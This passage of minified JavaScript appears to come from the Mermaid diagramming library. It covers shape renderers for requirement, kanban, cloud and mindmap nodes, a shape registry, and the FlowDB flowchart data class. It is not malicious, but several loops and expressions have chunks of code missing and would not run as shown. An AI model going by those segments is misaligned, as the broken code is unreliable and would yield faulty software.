L=I[0].replace("color","fill");l.selectAll("tspan").attr("style",L)}else if(h){let L=R.exec(h);if(L){let E=L[0].replace("color","fill");l.selectAll("tspan").attr("style",E)}}}return Qe(e,S),e.intersect=function(R){return Xe.rect(e,R)},l}var kte=N(()=>{"use strict";It();Xt();yr();Ht();$t();Ut();Tte();gr();o(wte,"classBox")});async function Ete(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let i=e,a=e,s=20,l=20,u="verifyMethod"in e,h=st(e),f=t.insert("g").attr("class",h).attr("id",e.domId??e.id),d;u?d=await Ou(f,`<<${i.type}>>`,0,e.labelStyle):d=await Ou(f,"<<Element>>",0,e.labelStyle);let p=d,m=await Ou(f,i.name,p,e.labelStyle+"; font-weight: bold;");if(p+=m+l,u){let k=await Ou(f,`${i.requirementId?`ID: ${i.requirementId}`:""}`,p,e.labelStyle);p+=k;let A=await Ou(f,`${i.text?`Text: ${i.text}`:""}`,p,e.labelStyle);p+=A;let C=await Ou(f,`${i.risk?`Risk: ${i.risk}`:""}`,p,e.labelStyle);p+=C,await Ou(f,`${i.verifyMethod?`Verification: ${i.verifyMethod}`:""}`,p,e.labelStyle)}else{let k=await Ou(f,`${a.type?`Type: ${a.type}`:""}`,p,e.labelStyle);p+=k,await Ou(f,`${a.docRef?`Doc Ref: ${a.docRef}`:""}`,p,e.labelStyle)}let g=(f.node()?.getBBox().width??200)+s,y=(f.node()?.getBBox().height??200)+s,v=-g/2,x=-y/2,b=Ze.svg(f),T=Je(e,{});e.look!=="handDrawn"&&(T.roughness=0,T.fillStyle="solid");let S=b.rectangle(v,x,g,y,T),w=f.insert(()=>S,":first-child");if(w.attr("class","basic label-container").attr("style",n),f.selectAll(".label").each((k,A,C)=>{let R=qe(C[A]),I=R.attr("transform"),L=0,E=0;if(I){let M=RegExp(/translate\(([^,]+),([^)]+)\)/).exec(I);M&&(L=parseFloat(M[1]),E=parseFloat(M[2]))}let D=E-y/2,_=v+s/2;(A===0||A===1)&&(_=L),R.attr("transform",`translate(${_}, ${D+s})`)}),p>d+m+l){let k=b.line(v,x+d+m+l,v+g,x+d+m+l,T);f.insert(()=>k).attr("style",n)}return Qe(e,w),e.intersect=function(k){return Xe.rect(e,k)},f}async function Ou(t,e,r,n=""){if(e==="")return 0;let i=t.insert("g").attr("class","label").attr("style",n),a=ge(),s=a.htmlLabels??!0,l=await di(i,iv(Ji(e)),{width:Zi(e,a)+50,classes:"markdown-node-label",useHtmlLabels:s,style:n},a),u;if(s){let h=l.children[0],f=qe(l);u=h.getBoundingClientRect(),f.attr("width",u.width),f.attr("height",u.height)}else{let h=l.children[0];for(let f of h.children)f.textContent=f.textContent.replaceAll(">",">").replaceAll("<","<"),n&&f.setAttribute("style",n);u=l.getBBox(),u.height+=6}return i.attr("transform",`translate(${-u.width/2},${-u.height/2+r})`),u.height}var Ste=N(()=>{"use strict";It();Ut();$t();Ht();tr();Xt();zo();yr();o(Ete,"requirementBox");o(Ou,"addText")});async function Cte(t,e,{config:r}){let{labelStyles:n,nodeStyles:i}=je(e);e.labelStyle=n||"";let a=10,s=e.width;e.width=(e.width??200)-10;let{shapeSvg:l,bbox:u,label:h}=await ut(t,e,st(e)),f=e.padding||10,d="",p;"ticket"in e&&e.ticket&&r?.kanban?.ticketBaseUrl&&(d=r?.kanban?.ticketBaseUrl.replace("#TICKET#",e.ticket),p=l.insert("svg:a",":first-child").attr("class","kanban-ticket-link").attr("xlink:href",d).attr("target","_blank"));let m={useHtmlLabels:e.useHtmlLabels,labelStyle:e.labelStyle||"",width:e.width,img:e.img,padding:e.padding||8,centerLabel:!1},g,y;p?{label:g,bbox:y}=await YT(p,"ticket"in e&&e.ticket||"",m):{label:g,bbox:y}=await YT(l,"ticket"in e&&e.ticket||"",m);let{label:v,bbox:x}=await YT(l,"assigned"in e&&e.assigned||"",m);e.width=s;let b=10,T=e?.width||0,S=Math.max(y.height,x.height)/2,w=Math.max(u.height+b*2,e?.height||0)+S,k=-T/2,A=-w/2;h.attr("transform","translate("+(f-T/2)+", "+(-S-u.height/2)+")"),g.attr("transform","translate("+(f-T/2)+", "+(-S+u.height/2)+")"),v.attr("transform","translate("+(f+T/2-x.width-2*a)+", "+(-S+u.height/2)+")");let C,{rx:R,ry:I}=e,{cssStyles:L}=e;if(e.look==="handDrawn"){let E=Ze.svg(l),D=Je(e,{}),_=R||I?E.path(Fs(k,A,T,w,R||0),D):E.rectangle(k,A,T,w,D);C=l.insert(()=>_,":first-child"),C.attr("class","basic label-container").attr("style",L||null)}else{C=l.insert("rect",":first-child"),C.attr("class","basic label-container __APA__").attr("style",i).attr("rx",R??5).attr("ry",I??5).attr("x",k).attr("y",A).attr("width",T).attr("height",w);let E="priority"in e&&e.priority;if(E){let D=l.append("line"),_=k+2,O=A+Math.floor((R??0)/2),M=A+w-Math.floor((R??0)/2);D.attr("x1",_).attr("y1",O).attr("x2",_).attr("y2",M).attr("stroke-width","4").attr("stroke",kRe(E))}}return Qe(e,C),e.height=w,e.intersect=function(E){return Xe.rect(e,E)},l}var kRe,Ate=N(()=>{"use strict";It();Ut();Zd();$t();Ht();kRe=o(t=>{switch(t){case"Very High":return"red";case"High":return"orange";case"Medium":return null;case"Low":return"blue";case"Very Low":return"lightblue"}},"colorFromPriority");o(Cte,"kanbanItem")});async function _te(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,halfPadding:s,label:l}=await ut(t,e,st(e)),u=a.width+10*s,h=a.height+8*s,f=.15*u,{cssStyles:d}=e,p=a.width+20,m=a.height+20,g=Math.max(u,p),y=Math.max(h,m);l.attr("transform",`translate(${-a.width/2}, ${-a.height/2})`);let v,x=`M0 0 + a${f},${f} 1 0,0 ${g*.25},${-1*y*.1} + a${f},${f} 1 0,0 ${g*.25},0 + a${f},${f} 1 0,0 ${g*.25},0 + a${f},${f} 1 0,0 ${g*.25},${y*.1} + + a${f},${f} 1 0,0 ${g*.15},${y*.33} + a${f*.8},${f*.8} 1 0,0 0,${y*.34} + a${f},${f} 1 0,0 ${-1*g*.15},${y*.33} + + a${f},${f} 1 0,0 ${-1*g*.25},${y*.15} + a${f},${f} 1 0,0 ${-1*g*.25},0 + a${f},${f} 1 0,0 ${-1*g*.25},0 + a${f},${f} 1 0,0 ${-1*g*.25},${-1*y*.15} + + a${f},${f} 1 0,0 ${-1*g*.1},${-1*y*.33} + a${f*.8},${f*.8} 1 0,0 0,${-1*y*.34} + a${f},${f} 1 0,0 ${g*.1},${-1*y*.33} + H0 V0 Z`;if(e.look==="handDrawn"){let b=Ze.svg(i),T=Je(e,{}),S=b.path(x,T);v=i.insert(()=>S,":first-child"),v.attr("class","basic label-container").attr("style",Cn(d))}else v=i.insert("path",":first-child").attr("class","basic label-container").attr("style",n).attr("d",x);return v.attr("transform",`translate(${-g/2}, ${-y/2})`),Qe(e,v),e.calcIntersect=function(b,T){return Xe.rect(b,T)},e.intersect=function(b){return X.info("Bang intersect",e,b),Xe.rect(e,b)},i}var Dte=N(()=>{"use strict";pt();It();Ut();$t();Ht();tr();o(_te,"bang")});async function Lte(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,halfPadding:s,label:l}=await ut(t,e,st(e)),u=a.width+2*s,h=a.height+2*s,f=.15*u,d=.25*u,p=.35*u,m=.2*u,{cssStyles:g}=e,y,v=`M0 0 + a${f},${f} 0 0,1 ${u*.25},${-1*u*.1} + a${p},${p} 1 0,1 ${u*.4},${-1*u*.1} + a${d},${d} 1 0,1 ${u*.35},${u*.2} + + a${f},${f} 1 0,1 ${u*.15},${h*.35} + a${m},${m} 1 0,1 ${-1*u*.15},${h*.65} + + a${d},${f} 1 0,1 ${-1*u*.25},${u*.15} + a${p},${p} 1 0,1 ${-1*u*.5},0 + a${f},${f} 1 0,1 ${-1*u*.25},${-1*u*.15} + + a${f},${f} 1 0,1 ${-1*u*.1},${-1*h*.35} + a${m},${m} 1 0,1 ${u*.1},${-1*h*.65} + H0 V0 Z`;if(e.look==="handDrawn"){let x=Ze.svg(i),b=Je(e,{}),T=x.path(v,b);y=i.insert(()=>T,":first-child"),y.attr("class","basic label-container").attr("style",Cn(g))}else y=i.insert("path",":first-child").attr("class","basic label-container").attr("style",n).attr("d",v);return l.attr("transform",`translate(${-a.width/2}, ${-a.height/2})`),y.attr("transform",`translate(${-u/2}, ${-h/2})`),Qe(e,y),e.calcIntersect=function(x,b){return Xe.rect(x,b)},e.intersect=function(x){return X.info("Cloud intersect",e,x),Xe.rect(e,x)},i}var Rte=N(()=>{"use strict";Ht();pt();tr();Ut();$t();It();o(Lte,"cloud")});async function Nte(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,halfPadding:s,label:l}=await ut(t,e,st(e)),u=a.width+8*s,h=a.height+2*s,f=5,d=` + M${-u/2} ${h/2-f} + v${-h+2*f} + q0,-${f} ${f},-${f} + h${u-2*f} + q${f},0 ${f},${f} + v${h-2*f} + q0,${f} -${f},${f} + h${-u+2*f} + q-${f},0 -${f},-${f} + Z + `,p=i.append("path").attr("id","node-"+e.id).attr("class","node-bkg node-"+e.type).attr("style",n).attr("d",d);return i.append("line").attr("class","node-line-").attr("x1",-u/2).attr("y1",h/2).attr("x2",u/2).attr("y2",h/2),l.attr("transform",`translate(${-a.width/2}, ${-a.height/2})`),i.append(()=>l.node()),Qe(e,p),e.calcIntersect=function(m,g){return Xe.rect(m,g)},e.intersect=function(m){return Xe.rect(e,m)},i}var Mte=N(()=>{"use strict";Ut();$t();It();o(Nte,"defaultMindmapNode")});async function Ite(t,e){let r={padding:e.padding??0};return iw(t,e,r)}var Ote=N(()=>{"use strict";U9();o(Ite,"mindmapCircle")});function Pte(t){return t in q9}var ERe,SRe,q9,W9=N(()=>{"use strict";yJ();bJ();wJ();EJ();U9();CJ();_J();LJ();NJ();IJ();PJ();FJ();zJ();VJ();HJ();WJ();XJ();KJ();ZJ();eee();ree();iee();see();lee();uee();fee();pee();gee();vee();bee();wee();Eee();Cee();_ee();Lee();Nee();Iee();Pee();Fee();zee();Vee();Hee();Wee();Xee();Kee();Zee();ete();rte();ite();ste();lte();ute();fte();pte();gte();vte();xte();kte();Ste();Ate();Dte();Rte();Mte();Ote();ERe=[{semanticName:"Process",name:"Rectangle",shortName:"rect",description:"Standard process shape",aliases:["proc","process","rectangle"],internalAliases:["squareRect"],handler:Gee},{semanticName:"Event",name:"Rounded Rectangle",shortName:"rounded",description:"Represents an event",aliases:["event"],internalAliases:["roundedRect"],handler:Oee},{semanticName:"Terminal Point",name:"Stadium",shortName:"stadium",description:"Terminal point",aliases:["terminal","pill"],handler:Uee},{semanticName:"Subprocess",name:"Framed Rectangle",shortName:"fr-rect",description:"Subprocess",aliases:["subprocess","subproc","framed-rectangle","subroutine"],handler:Qee},{semanticName:"Database",name:"Cylinder",shortName:"cyl",description:"Database storage",aliases:["db","database","cylinder"],handler:OJ},{semanticName:"Start",name:"Circle",shortName:"circle",description:"Starting point",aliases:["circ"],handler:iw},{semanticName:"Bang",name:"Bang",shortName:"bang",description:"Bang",aliases:["bang"],handler:_te},{semanticName:"Cloud",name:"Cloud",shortName:"cloud",description:"cloud",aliases:["cloud"],handler:Lte},{semanticName:"Decision",name:"Diamond",shortName:"diam",description:"Decision-making step",aliases:["decision","diamond","question"],handler:Dee},{semanticName:"Prepare Conditional",name:"Hexagon",shortName:"hex",description:"Preparation or condition step",aliases:["hexagon","prepare"],handler:jJ},{semanticName:"Data Input/Output",name:"Lean Right",shortName:"lean-r",description:"Represents input or output",aliases:["lean-right","in-out"],internalAliases:["lean_right"],handler:mee},{semanticName:"Data Input/Output",name:"Lean Left",shortName:"lean-l",description:"Represents output or input",aliases:["lean-left","out-in"],internalAliases:["lean_left"],handler:dee},{semanticName:"Priority Action",name:"Trapezoid Base Bottom",shortName:"trap-b",description:"Priority action",aliases:["priority","trapezoid-bottom","trapezoid"],handler:ote},{semanticName:"Manual Operation",name:"Trapezoid Base Top",shortName:"trap-t",description:"Represents a manual task",aliases:["manual","trapezoid-top","inv-trapezoid"],internalAliases:["inv_trapezoid"],handler:cee},{semanticName:"Stop",name:"Double Circle",shortName:"dbl-circ",description:"Represents a stop point",aliases:["double-circle"],internalAliases:["doublecircle"],handler:$J},{semanticName:"Text Block",name:"Text Block",shortName:"text",description:"Text block",handler:nte},{semanticName:"Card",name:"Notched Rectangle",shortName:"notch-rect",description:"Represents a card",aliases:["card","notched-rectangle"],handler:TJ},{semanticName:"Lined/Shaded Process",name:"Lined Rectangle",shortName:"lin-rect",description:"Lined process shape",aliases:["lined-rectangle","lined-process","lin-proc","shaded-process"],handler:Bee},{semanticName:"Start",name:"Small Circle",shortName:"sm-circ",description:"Small starting point",aliases:["start","small-circle"],internalAliases:["stateStart"],handler:jee},{semanticName:"Stop",name:"Framed Circle",shortName:"fr-circ",description:"Stop point",aliases:["stop","framed-circle"],internalAliases:["stateEnd"],handler:Yee},{semanticName:"Fork/Join",name:"Filled Rectangle",shortName:"fork",description:"Fork or join in process flow",aliases:["join"],internalAliases:["forkJoin"],handler:qJ},{semanticName:"Collate",name:"Hourglass",shortName:"hourglass",description:"Represents a collate operation",aliases:["hourglass","collate"],handler:QJ},{semanticName:"Comment",name:"Curly Brace",shortName:"brace",description:"Adds a comment",aliases:["comment","brace-l"],handler:AJ},{semanticName:"Comment Right",name:"Curly Brace",shortName:"brace-r",description:"Adds a comment",handler:DJ},{semanticName:"Comment with braces on both sides",name:"Curly Braces",shortName:"braces",description:"Adds a comment",handler:RJ},{semanticName:"Com Link",name:"Lightning Bolt",shortName:"bolt",description:"Communication link",aliases:["com-link","lightning-bolt"],handler:yee},{semanticName:"Document",name:"Document",shortName:"doc",description:"Represents a document",aliases:["doc","document"],handler:dte},{semanticName:"Delay",name:"Half-Rounded Rectangle",shortName:"delay",description:"Represents a delay",aliases:["half-rounded-rectangle"],handler:YJ},{semanticName:"Direct Access Storage",name:"Horizontal Cylinder",shortName:"h-cyl",description:"Direct access storage",aliases:["das","horizontal-cylinder"],handler:ate},{semanticName:"Disk Storage",name:"Lined Cylinder",shortName:"lin-cyl",description:"Disk storage",aliases:["disk","lined-cylinder"],handler:xee},{semanticName:"Display",name:"Curved Trapezoid",shortName:"curv-trap",description:"Represents a display",aliases:["curved-trapezoid","display"],handler:MJ},{semanticName:"Divided Process",name:"Divided Rectangle",shortName:"div-rect",description:"Divided process shape",aliases:["div-proc","divided-rectangle","divided-process"],handler:BJ},{semanticName:"Extract",name:"Triangle",shortName:"tri",description:"Extraction process",aliases:["extract","triangle"],handler:hte},{semanticName:"Internal Storage",name:"Window Pane",shortName:"win-pane",description:"Internal storage",aliases:["internal-storage","window-pane"],handler:yte},{semanticName:"Junction",name:"Filled Circle",shortName:"f-circ",description:"Junction point",aliases:["junction","filled-circle"],handler:GJ},{semanticName:"Loop Limit",name:"Trapezoidal Pentagon",shortName:"notch-pent",description:"Loop limit step",aliases:["loop-limit","notched-pentagon"],handler:cte},{semanticName:"Manual File",name:"Flipped Triangle",shortName:"flip-tri",description:"Manual file operation",aliases:["manual-file","flipped-triangle"],handler:UJ},{semanticName:"Manual Input",name:"Sloped Rectangle",shortName:"sl-rect",description:"Manual input step",aliases:["manual-input","sloped-rectangle"],handler:$ee},{semanticName:"Multi-Document",name:"Stacked Document",shortName:"docs",description:"Multiple documents",aliases:["documents","st-doc","stacked-document"],handler:See},{semanticName:"Multi-Process",name:"Stacked Rectangle",shortName:"st-rect",description:"Multiple processes",aliases:["procs","processes","stacked-rectangle"],handler:kee},{semanticName:"Stored Data",name:"Bow Tie Rectangle",shortName:"bow-rect",description:"Stored data",aliases:["stored-data","bow-tie-rectangle"],handler:xJ},{semanticName:"Summary",name:"Crossed Circle",shortName:"cross-circ",description:"Summary",aliases:["summary","crossed-circle"],handler:SJ},{semanticName:"Tagged Document",name:"Tagged Document",shortName:"tag-doc",description:"Tagged document",aliases:["tag-doc","tagged-document"],handler:tte},{semanticName:"Tagged Process",name:"Tagged Rectangle",shortName:"tag-rect",description:"Tagged process",aliases:["tagged-rectangle","tag-proc","tagged-process"],handler:Jee},{semanticName:"Paper Tape",name:"Flag",shortName:"flag",description:"Paper tape",aliases:["paper-tape"],handler:mte},{semanticName:"Odd",name:"Odd",shortName:"odd",description:"Odd shape",internalAliases:["rect_left_inv_arrow"],handler:Ree},{semanticName:"Lined Document",name:"Lined Document",shortName:"lin-doc",description:"Lined document",aliases:["lined-document"],handler:Tee}],SRe=o(()=>{let e=[...Object.entries({state:qee,choice:kJ,note:Aee,rectWithTitle:Mee,labelRect:hee,iconSquare:aee,iconCircle:tee,icon:JJ,iconRounded:nee,imageSquare:oee,anchor:gJ,kanbanItem:Cte,mindmapCircle:Ite,defaultMindmapNode:Nte,classBox:wte,erBox:H9,requirementBox:Ete}),...ERe.flatMap(r=>[r.shortName,..."aliases"in r?r.aliases:[],..."internalAliases"in r?r.internalAliases:[]].map(i=>[i,r.handler]))];return Object.fromEntries(e)},"generateShapeMap"),q9=SRe();o(Pte,"isValidShape")});var CRe,lw,Bte=N(()=>{"use strict";yr();w2();Xt();pt();W9();tr();gr();ci();CRe="flowchart-",lw=class{constructor(){this.vertexCounter=0;this.config=ge();this.vertices=new Map;this.edges=[];this.classes=new Map;this.subGraphs=[];this.subGraphLookup=new Map;this.tooltips=new Map;this.subCount=0;this.firstGraphFlag=!0;this.secCount=-1;this.posCrossRef=[];this.funs=[];this.setAccTitle=Rr;this.setAccDescription=Ir;this.setDiagramTitle=$r;this.getAccTitle=Mr;this.getAccDescription=Or;this.getDiagramTitle=Pr;this.funs.push(this.setupToolTips.bind(this)),this.addVertex=this.addVertex.bind(this),this.firstGraph=this.firstGraph.bind(this),this.setDirection=this.setDirection.bind(this),this.addSubGraph=this.addSubGraph.bind(this),this.addLink=this.addLink.bind(this),this.setLink=this.setLink.bind(this),this.updateLink=this.updateLink.bind(this),this.addClass=this.addClass.bind(this),this.setClass=this.setClass.bind(this),this.destructLink=this.destructLink.bind(this),this.setClickEvent=this.setClickEvent.bind(this),this.setTooltip=this.setTooltip.bind(this),this.updateLinkInterpolate=this.updateLinkInterpolate.bind(this),this.setClickFun=this.setClickFun.bind(this),this.bindFunctions=this.bindFunctions.bind(this),this.lex={firstGraph:this.firstGraph.bind(this)},this.clear(),this.setGen("gen-2")}static{o(this,"FlowDB")}sanitizeText(e){return tt.sanitizeText(e,this.config)}lookUpDomId(e){for(let r of this.vertices.values())if(r.id===e)return r.domId;return e}addVertex(e,r,n,i,a,s,l={},u){if(!e||e.trim().length===0)return;let h;if(u!==void 0){let m;u.includes(` +`)?m=u+` +`:m=`{ +`+u+` +}`,h=Kh(m,{schema:jh})}let f=this.edges.find(m=>m.id===e);if(f){let m=h;m?.animate!==void 0&&(f.animate=m.animate),m?.animation!==void 0&&(f.animation=m.animation),m?.curve!==void 0&&(f.interpolate=m.curve);return}let d,p=this.vertices.get(e);if(p===void 0&&(p={id:e,labelType:"text",domId:CRe+e+"-"+this.vertexCounter,styles:[],classes:[]},this.vertices.set(e,p)),this.vertexCounter++,r!==void 0?(this.config=ge(),d=this.sanitizeText(r.text.trim()),p.labelType=r.type,d.startsWith('"')&&d.endsWith('"')&&(d=d.substring(1,d.length-1)),p.text=d):p.text===void 0&&(p.text=e),n!==void 0&&(p.type=n),i?.forEach(m=>{p.styles.push(m)}),a?.forEach(m=>{p.classes.push(m)}),s!==void 0&&(p.dir=s),p.props===void 0?p.props=l:l!==void 0&&Object.assign(p.props,l),h!==void 0){if(h.shape){if(h.shape!==h.shape.toLowerCase()||h.shape.includes("_"))throw new Error(`No such shape: ${h.shape}. Shape names should be lowercase.`);if(!Pte(h.shape))throw new Error(`No such shape: ${h.shape}.`);p.type=h?.shape}h?.label&&(p.text=h?.label),h?.icon&&(p.icon=h?.icon,!h.label?.trim()&&p.text===e&&(p.text="")),h?.form&&(p.form=h?.form),h?.pos&&(p.pos=h?.pos),h?.img&&(p.img=h?.img,!h.label?.trim()&&p.text===e&&(p.text="")),h?.constraint&&(p.constraint=h.constraint),h.w&&(p.assetWidth=Number(h.w)),h.h&&(p.assetHeight=Number(h.h))}}addSingleLink(e,r,n,i){let l={start:e,end:r,type:void 0,text:"",labelType:"text",classes:[],isUserDefinedId:!1,interpolate:this.edges.defaultInterpolate};X.info("abc78 Got edge...",l);let u=n.text;if(u!==void 0&&(l.text=this.sanitizeText(u.text.trim()),l.text.startsWith('"')&&l.text.endsWith('"')&&(l.text=l.text.substring(1,l.text.length-1)),l.labelType=u.type),n!==void 0&&(l.type=n.type,l.stroke=n.stroke,l.length=n.length>10?10:n.length),i&&!this.edges.some(h=>h.id===i))l.id=i,l.isUserDefinedId=!0;else{let h=this.edges.filter(f=>f.start===l.start&&f.end===l.end);h.length===0?l.id=xc(l.start,l.end,{counter:0,prefix:"L"}):l.id=xc(l.start,l.end,{counter:h.length+1,prefix:"L"})}if(this.edges.length<(this.config.maxEdges??500))X.info("Pushing edge..."),this.edges.push(l);else throw new Error(`Edge limit exceeded. ${this.edges.length} edges found, but the limit is ${this.config.maxEdges}. + +Initialize mermaid with maxEdges set to a higher number to allow more edges. +You cannot set this config via configuration inside the diagram as it is a secure config. +You have to call mermaid.initialize.`)}isLinkData(e){return e!==null&&typeof e=="object"&&"id"in e&&typeof e.id=="string"}addLink(e,r,n){let i=this.isLinkData(n)?n.id.replace("@",""):void 0;X.info("addLink",e,r,i);for(let a of e)for(let s of r){let l=a===e[e.length-1],u=s===r[0];l&&u?this.addSingleLink(a,s,n,i):this.addSingleLink(a,s,n,void 0)}}updateLinkInterpolate(e,r){e.forEach(n=>{n==="default"?this.edges.defaultInterpolate=r:this.edges[n].interpolate=r})}updateLink(e,r){e.forEach(n=>{if(typeof n=="number"&&n>=this.edges.length)throw new Error(`The index ${n} for linkStyle is out of bounds. Valid indices for linkStyle are between 0 and ${this.edges.length-1}. (Help: Ensure that the index is within the range of existing edges.)`);n==="default"?this.edges.defaultStyle=r:(this.edges[n].style=r,(this.edges[n]?.style?.length??0)>0&&!this.edges[n]?.style?.some(i=>i?.startsWith("fill"))&&this.edges[n]?.style?.push("fill:none"))})}addClass(e,r){let n=r.join().replace(/\\,/g,"\xA7\xA7\xA7").replace(/,/g,";").replace(/§§§/g,",").split(";");e.split(",").forEach(i=>{let a=this.classes.get(i);a===void 0&&(a={id:i,styles:[],textStyles:[]},this.classes.set(i,a)),n?.forEach(s=>{if(/color/.exec(s)){let l=s.replace("fill","bgFill");a.textStyles.push(l)}a.styles.push(s)})})}setDirection(e){this.direction=e.trim(),/.*/.exec(this.direction)&&(this.direction="LR"),/.*v/.exec(this.direction)&&(this.direction="TB"),this.direction==="TD"&&(this.direction="TB")}setClass(e,r){for(let n of e.split(",")){let i=this.vertices.get(n);i&&i.classes.push(r);let a=this.edges.find(l=>l.id===n);a&&a.classes.push(r);let s=this.subGraphLookup.get(n);s&&s.classes.push(r)}}setTooltip(e,r){if(r!==void 0){r=this.sanitizeText(r);for(let n of e.split(","))this.tooltips.set(this.version==="gen-1"?this.lookUpDomId(n):n,r)}}setClickFun(e,r,n){let i=this.lookUpDomId(e);if(ge().securityLevel!=="loose"||r===void 0)return;let a=[];if(typeof n=="string"){a=n.split(/,(?=(?:(?:[^"]*"){2})*[^"]*$)/);for(let l=0;l{let l=document.querySelector(`[id="${i}"]`);l!==null&&l.addEventListener("click",()=>{qt.runFunc(r,...a)},!1)}))}setLink(e,r,n){e.split(",").forEach(i=>{let a=this.vertices.get(i);a!==void 0&&(a.link=qt.formatUrl(r,this.config),a.linkTarget=n)}),this.setClass(e,"clickable")}getTooltip(e){return this.tooltips.get(e)}setClickEvent(e,r,n){e.split(",").forEach(i=>{this.setClickFun(i,r,n)}),this.setClass(e,"clickable")}bindFunctions(e){this.funs.forEach(r=>{r(e)})}getDirection(){return this.direction?.trim()}getVertices(){return this.vertices}getEdges(){return this.edges}getClasses(){return this.classes}setupToolTips(e){let r=qe(".mermaidTooltip");(r._groups||r)[0][0]===null&&(r=qe("body").append("div").attr("class","mermaidTooltip").style("opacity",0)),qe(e).select("svg").selectAll("g.node").on("mouseover",a=>{let s=qe(a.currentTarget);if(s.attr("title")===null)return;let u=a.currentTarget?.getBoundingClientRect();r.transition().duration(200).style("opacity",".9"),r.text(s.attr("title")).style("left",window.scrollX+u.left+(u.right-u.left)/2+"px").style("top",window.scrollY+u.bottom+"px"),r.html(r.html().replace(/<br\/>/g,"
    ")),s.classed("hover",!0)}).on("mouseout",a=>{r.transition().duration(500).style("opacity",0),qe(a.currentTarget).classed("hover",!1)})}clear(e="gen-2"){this.vertices=new Map,this.classes=new Map,this.edges=[],this.funs=[this.setupToolTips.bind(this)],this.subGraphs=[],this.subGraphLookup=new Map,this.subCount=0,this.tooltips=new Map,this.firstGraphFlag=!0,this.version=e,this.config=ge(),Sr()}setGen(e){this.version=e||"gen-2"}defaultStyle(){return"fill:#ffa;stroke: #f66; stroke-width: 3px; stroke-dasharray: 5, 5;fill:#ffa;stroke: #666;"}addSubGraph(e,r,n){let i=e.text.trim(),a=n.text;e===n&&/\s/.exec(n.text)&&(i=void 0);let l=o(p=>{let m={boolean:{},number:{},string:{}},g=[],y;return{nodeList:p.filter(function(x){let b=typeof x;return x.stmt&&x.stmt==="dir"?(y=x.value,!1):x.trim()===""?!1:b in m?m[b].hasOwnProperty(x)?!1:m[b][x]=!0:g.includes(x)?!1:g.push(x)}),dir:y}},"uniq")(r.flat()),u=l.nodeList,h=l.dir,f=ge().flowchart??{};if(h=h??(f.inheritDir?this.getDirection()??ge().direction??void 0:void 0),this.version==="gen-1")for(let p=0;p2e3)return{result:!1,count:0};if(this.posCrossRef[this.secCount]=r,this.subGraphs[r].id===e)return{result:!0,count:0};let i=0,a=1;for(;i=0){let l=this.indexNodes2(e,s);if(l.result)return{result:!0,count:a+l.count};a=a+l.count}i=i+1}return{result:!1,count:a}}getDepthFirstPos(e){return this.posCrossRef[e]}indexNodes(){this.secCount=-1,this.subGraphs.length>0&&this.indexNodes2("none",this.subGraphs.length-1)}getSubGraphs(){return this.subGraphs}firstGraph(){return this.firstGraphFlag?(this.firstGraphFlag=!1,!0):!1}destructStartLink(e){let r=e.trim(),n="arrow_open";switch(r[0]){case"<":n="arrow_point",r=r.slice(1);break;case"x":n="arrow_cross",r=r.slice(1);break;case"o":n="arrow_circle",r=r.slice(1);break}let i="normal";return r.includes("=")&&(i="thick"),r.includes(".")&&(i="dotted"),{type:n,stroke:i}}countChar(e,r){let n=r.length,i=0;for(let a=0;a":i="arrow_point",r.startsWith("<")&&(i="double_"+i,n=n.slice(1));break;case"o":i="arrow_circle",r.startsWith("o")&&(i="double_"+i,n=n.slice(1));break}let a="normal",s=n.length-1;n.startsWith("=")&&(a="thick"),n.startsWith("~")&&(a="invisible");let l=this.countChar(".",n);return l&&(a="dotted",s=l),{type:i,stroke:a,length:s}}destructLink(e,r){let n=this.destructEndLink(e),i;if(r){if(i=this.destructStartLink(r),i.stroke!==n.stroke)return{type:"INVALID",stroke:"INVALID"};if(i.type==="arrow_open")i.type=n.type;else{if(i.type!==n.type)return{type:"INVALID",stroke:"INVALID"};i.type="double_"+i.type}return i.type==="double_arrow"&&(i.type="double_arrow_point"),i.length=n.length,i}return n}exists(e,r){for(let n of e)if(n.nodes.includes(r))return!0;return!1}makeUniq(e,r){let n=[];return e.nodes.forEach((i,a)=>{this.exists(r,i)||n.push(e.nodes[a])}),{nodes:n}}getTypeFromVertex(e){if(e.img)return"imageSquare";if(e.icon)return e.form==="circle"?"iconCircle":e.form==="square"?"iconSquare":e.form==="rounded"?"iconRounded":"icon";switch(e.type){case"square":case void 0:return"squareRect";case"round":return"roundedRect";case"ellipse":return"ellipse";default:return e.type}}findNode(e,r){return e.find(n=>n.id===r)}destructEdgeType(e){let r="none",n="arrow_point";switch(e){case"arrow_point":case"arrow_circle":case"arrow_cross":n=e;break;case"double_arrow_point":case"double_arrow_circle":case"double_arrow_cross":r=e.replace("double_",""),n=r;break}return{arrowTypeStart:r,arrowTypeEnd:n}}addNodeFromVertex(e,r,n,i,a,s){let l=n.get(e.id),u=i.get(e.id)??!1,h=this.findNode(r,e.id);if(h)h.cssStyles=e.styles,h.cssCompiledStyles=this.getCompiledStyles(e.classes),h.cssClasses=e.classes.join(" ");else{let f={id:e.id,label:e.text,labelStyle:"",parentId:l,padding:a.flowchart?.padding||8,cssStyles:e.styles,cssCompiledStyles:this.getCompiledStyles(["default","node",...e.classes]),cssClasses:"default "+e.classes.join(" "),dir:e.dir,domId:e.domId,look:s,link:e.link,linkTarget:e.linkTarget,tooltip:this.getTooltip(e.id),icon:e.icon,pos:e.pos,img:e.img,assetWidth:e.assetWidth,assetHeight:e.assetHeight,constraint:e.constraint};u?r.push({...f,isGroup:!0,shape:"rect"}):r.push({...f,isGroup:!1,shape:this.getTypeFromVertex(e)})}}getCompiledStyles(e){let r=[];for(let n of e){let i=this.classes.get(n);i?.styles&&(r=[...r,...i.styles??[]].map(a=>a.trim())),i?.textStyles&&(r=[...r,...i.textStyles??[]].map(a=>a.trim()))}return r}getData(){let e=ge(),r=[],n=[],i=this.getSubGraphs(),a=new Map,s=new Map;for(let h=i.length-1;h>=0;h--){let f=i[h];f.nodes.length>0&&s.set(f.id,!0);for(let d of f.nodes)a.set(d,f.id)}for(let h=i.length-1;h>=0;h--){let f=i[h];r.push({id:f.id,label:f.title,labelStyle:"",parentId:a.get(f.id),padding:8,cssCompiledStyles:this.getCompiledStyles(f.classes),cssClasses:f.classes.join(" 